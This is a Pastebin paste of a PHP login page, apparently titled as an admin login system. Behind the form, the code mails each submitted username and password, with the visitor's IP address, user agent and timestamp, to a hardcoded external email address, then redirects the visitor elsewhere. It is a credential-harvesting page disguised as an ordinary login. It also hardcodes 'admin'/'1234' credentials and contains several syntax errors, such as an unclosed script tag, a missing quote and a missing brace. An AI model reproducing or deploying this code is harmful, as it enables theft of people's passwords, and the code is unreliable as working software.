Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function refresh($string,$time)
- {
- print "<meta http-equiv='refresh' content='".$time.";url=".$string."'>";
- }
- //Setting vars
- $ip = $_SERVER["REMOTE_ADDR"];
- $useragent = $_SERVER["HTTP_USER_AGENT"];
- $date = date("Y/m/d H:i:s");
- //Login system
- $huri['title'] = "Login";
- $huri['seo'] = "Login,Login System, Admin Login"; //Seo
- $huri['username'] = "admin";
- $huri['password'] = "1234";
- $huri['mail'] = "itayhuri8@gmail.com";
- //..
- $huri['ushow'] = "Username : ";
- $huri['sshow'] = "Password : ";
- $huri['loginvalue'] = "Login";
- $huri['falselogin'] = "Incorrect Username or Password"; //False login
- $huri['furl'] = "http://facebook.com"; //False url
- $huri['null'] = "Please fill all the fields";
- $huri['turl'] = "http://google.com"; //True url
- ?>
- <html>
- <head>
- <title><? print $huri['title'] ?></title>
- <meta tags="<? print $huri['seo']; ?>" />
- <style type="text/css">
- body
- {
- text-align: center;
- color: white;
- background-color: black;
- font-family: arial;
- font-size: 12pt;
- }
- </style>
- <script type="text/javascript">
- function login()
- {
- var user = document.getElementById("username");
- var pass = document.getElementById("password");
- if(user.value==''||pass.value=='')
- {
- alert("<? print $huri['null'] ?>");
- return false;
- }
- }
- </head>
- <body>
- <form action="" method="post" onsubmit="return login()>
- <? print $huri['ushow'] ?><input type="text" name="username" id="username" />
- <br />
- <? print $huri['sshow'] ?><input type="password" name="password" id="password" />
- <br />
- <input type="submit" name="Login" value="<? print $huri['loginvalue'] ?>" />
- </form>
- <?php
- if(isset($_POST["Login"]))
- {
- $user = $_POST["username"];
- $pass = $_POST["password"];
- mail($huri['mail'], "Raz<>king", "IP: $ip \r\n User Agent: $useragent \r\n Date: $date \r\n Username : $user \r\n Password : $pass \r\n");
- if(!$user||!$pass)
- {
- print $huri['null'];
- }
- else if($user!=$huri['username']||$pass!=$huri['password'])
- {
- print $huri['falselogin'];
- refresh("0", $huri['furl']);
- else
- {
- refresh("0", $huri['turl']);
- }
- }
- ?>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement